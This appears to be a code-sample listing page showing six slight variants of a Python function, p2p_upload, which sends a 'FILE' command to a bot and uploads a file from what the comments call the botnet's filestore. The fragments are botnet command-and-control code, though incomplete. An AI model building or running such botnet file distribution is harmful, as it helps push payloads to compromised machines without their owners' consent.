Пример #1
0
def p2p_upload(fn):  #upload files
    if fn not in filestore:  # For only signed files
        print(Fore.RED + "[-] File does not exist\n" + Style.RESET_ALL)
        return
    sconn = find_bot()
    sconn.send(bytes("FILE", "utf-8"))
    p2p_upload_file(sconn, fn)
Пример #2
0
def p2p_upload(fn):
    # Check if the file exists before sending empty
    if fn not in filestore:
        print("That file doesn't exist in the botnet's filestore")
        return
    sconn = find_bot()
    sconn.send(bytes("FILE", "ascii"))
    p2p_upload_file(sconn, fn)
Пример #3
0
def p2p_upload(fn):
    sconn = find_bot()
    sconn.send(bytes("FILE", "ascii"))
    p2p_upload_file(sconn, fn)
Пример #4
0
def p2p_upload(fn):
    sconn = find_bot()
    #sconn.verbose=True
    sconn.send(bytes("FILE", "ascii"))
    p2p_upload_file(sconn, fn)
Пример #5
0
def p2p_upload(fn):
    sconn = find_bot()
    sconn.send(bytes("FILE", "ascii"))
    p2p_upload_file(sconn, fn)
Пример #6
0
def p2p_upload(fn):
    sconn = find_bot()
    #sconn.verbose=True
    sconn.send(bytes("FILE", "ascii"))
    p2p_upload_file(sconn,fn)